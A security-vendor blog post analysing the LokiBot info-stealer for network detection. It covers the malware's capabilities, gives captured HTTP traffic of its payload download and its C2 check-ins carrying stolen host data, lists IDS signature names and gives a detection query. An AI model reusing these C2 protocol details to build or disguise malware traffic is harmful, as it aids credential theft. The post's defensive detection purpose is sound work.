Three Families in Three Days – Revisiting Prolific Crimeware to Improve Network Detection: LokiBot

By: Ed Miles, Paul Ferguson, Fred Davis, Justin Warner

The risk posed by novel and high-volume threats is often understated. In reality, high-volume threats that have little regard for stealth have the potential to inflict more damage in terms of cost especially operational cost, than surgical threats, that tip toe ever so quietly through a network. With the creation of our 2H 2018 Crimeware Trend Report, ATR found that these seemingly novel and high-volume threats are continuing to impact customers with little initial detection. With the risk just as high, it underscores the need to dismantle such threats through a continuous process of understanding, observing, and detecting the threat activity.

This is part 2 of a three-part blog series that will share details summarizing the technical methods used by these malware families. (Read part 1) In this blog, we will explore LokiBot, a relatively simplistic capability used by a wide array of threats after its open source release. It is our goal in this post to clearly apply an intelligence driven methodology to detection where we seek to understand threats, gain visibility into their field of play, and utilize artifacts of their techniques to gain robust detection.

Lokibot’s Trends 

Lokibot moved from the most prolific in the 1H 2018 to the second most prolific observed threat in 2H 2018, at almost 11.6% of our observed samples. LokiBot, which has targeted victims since 2015, is now commodity malware sold on various underground crimeware websites. 

Like 1H 2018, LokiBot delivers the most diverse set of filetypes in its initial attachments (Figure 1). Despite this, it is detected both initially and during each subsequent campaign by more preventative products than the baseline (Figure 2). We find this true for the majority of the most prevalent families, which makes sense under the intuition that the loudest campaigns will be caught, shared and tracked more frequently. 

LokiBot’s Malicious Objectives 

LokiBot by itself has three primary objectives: information stealer, credential theft and keylogger. LokiBot includes functionality to carry out several different post-exploitation actions on the target host. Highlights include: 

• Information theft from more than 100 applications 
• Credential theft from the Microsoft Windows Credential Manager 
• Download EXE and execute 
• Download DLL and load 
• Keylogger

Palo Alto Networks Unit 42 reported that the Nigerian threat actors notorious for their Nigerian Prince scam have evolved their efforts into business email compromise (tricking recipients into wiring money to phony companies or real estate escrow firms) scams using LokiBot, along with other commodity malware. Attackers tied to the ransomware outbreak in the Ukraine targeting major banks, utilities and telecommunication companies also installed a variant of LokiBot to not only make the compromised machine inoperable, but to also steal credentials and information. 

LokiBot’s C2 Installation

LokiBot’s installation is relatively minimal in nature. The exploits often used by these actors will result in the programmatic download over a Windows executable file over plaintext. Unlike programmatic downloads from most scripting languages, the headers will be mostly intact making it slightly harder to identify. With network file extraction, the downloaded binary could be parsed and identified as suspicious or malicious. 

GET /<URI> HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.08 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; Media Center PC 6.0; InfoPath.3)
Host: <HOST> 
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx
Date: <DATE>
Content-Type: application/octet-stream
Content-Length: 217088
Last-Modified: <DATE>
Connection: keep-alive
Keep-Alive: timeout=60
ETag: “9mf2d53d-46720”
Expires: <DATE>
Cache-Control: max-age=315360000
Accept-Ranges: bytes

MZ......................@............................................. .!..L.!This program cannot be run in DOS mode.

Figure 3: Example request/response content for LokiBot installation.

LokiBot’s C2 Activity

LokiBot’s C2 capabilities are effective by using a diverse mix of C2 infrastructure (C2 Proxies) that include both shared hosting environments (rented infrastructure), as well as the use of previously compromised nodes. LokiBot uses plaintext HTTP to communicate to the C2 servers and a custom pre-defined structure in the HTTP payload.

A series of different requests contain various pieces of information from the host:

• Application data
• Decrypted credentials
• A request for C2 commands
• System information

NOTE: This payload may include compression but often contains recognizable details of infection, such as the computer name or unique BOT ID. The user-agent used in these requests are unique.

C2 traffic from infected systems is periodic in nature and volume depends on the data being exfiltrated. The C2 exchange protocol includes protections against researchers attempt to manually poke at the infrastructure through verifying a cryptographic hash of the header information in the exchange.

POST /<PATH>/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: <HOST>
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 35G32H9D
Content-Length: 224
Connection: close

..'.......ckav.ru......t.e.s.t...u.s.e.r.......T.E.S.T.U.S.E.R.-.P.C.......T.e.s.t.u.s.e.r.-.P.C.....................k.................0...2.1.1.B.F.4.5.B.C.A.E.7.3.E.6.A.3.7.3.F.C.F.8.1.....REdyl....

HTTP/1.0 404 Not Found
Content-Type: text/html; charset=UTF-8
Content-Length: 15
Date: Fri, 09 Mar 2018 23:56:59 GMT
Accept-Ranges: bytes
Connection: close

File not found.

Figure 4: Example request/response content for LokiBot C2 being established during an initial request. ATR was not able to establish interaction with active server, for example.

LokiBot’s Lateral Activity

To date, Gigamon ATR has not observed lateral spread or attempts to extract information from peripheral devices from the compromised host by LokiBot. It stands to reason that LokiBot could be laterally spread through manual RAT capabilities or through other payloads distributed along with LokiBot.

Figure 5. Kill chain breakdown.

DETECTION AND MITIGATION ACTIONS

Gigamon ATR recommends that detection and mitigation strategies should take into account adversary behavior across the kill chain and should be diverse in their approach, taking advantage of known atomic indicators, simple behaviors, and complex analytics. For this blog, ATR has scoped the focus of detection to be on network activity.

Command and Control:

• IoCs: Signature-based detection of known LokiBot indicators. There are numerous publicly available IDS signatures, as well as easily predictable patterns that can be used for metadata-based detection.  

2024311 ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected
2024312 ET TROJAN Loki Bot Application/Credential Data Exfiltration De	tected M1
2024313 ET TROJAN Loki Bot Request for C2 Commands Detected M1
2024314 ET TROJAN Loki Bot File Exfiltration Detected
2024315 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1
2024316 ET TROJAN Loki Bot Screenshot Exfiltration Detected
2024317 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2
2024318 ET TROJAN Loki Bot Request for C2 Commands Detected M2
2024319 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2

Figure 6: List of Emerging Threats Community signatures for LokiBot.

// Hardcoded LokiBot user agent or POST path
http:user_agent = "Mozilla/4.08 (Charon; Inferno)"
OR (
    http:uri.path LIKE "%/fre.php"
    AND http:method = "POST"
)

// No referring resource
AND http:referrer.uri = null 

// Originating from internal host
AND src.internal = true

Figure 7: Example Insight Query Language (IQL) query identifying predictable patterns of LokiBot check-ins.

Conclusion

LokiBot presented a very interesting case study due to its lack of evasion and relative simplicity. By simply gaining the requisite visibility of egress traffic in the network, infections by LokiBot should be immediately detected but in reality, large complex enterprise networks often lack a true “perimeter” and struggle to gain the requisite “north/south” and “east/west” traffic needed. It is critical that intelligence and detection organizations continuously seek to understand “coverage” in their organization, interactively improving their understanding of threats, their internal/external visibility and allowing security teams to detect threats. Minimizing the risk of a threat such a LokiBot ultimately depends on this iterative improvement in visibility and detection.

Stay tuned for Part 3 of our blog series, Trickbot!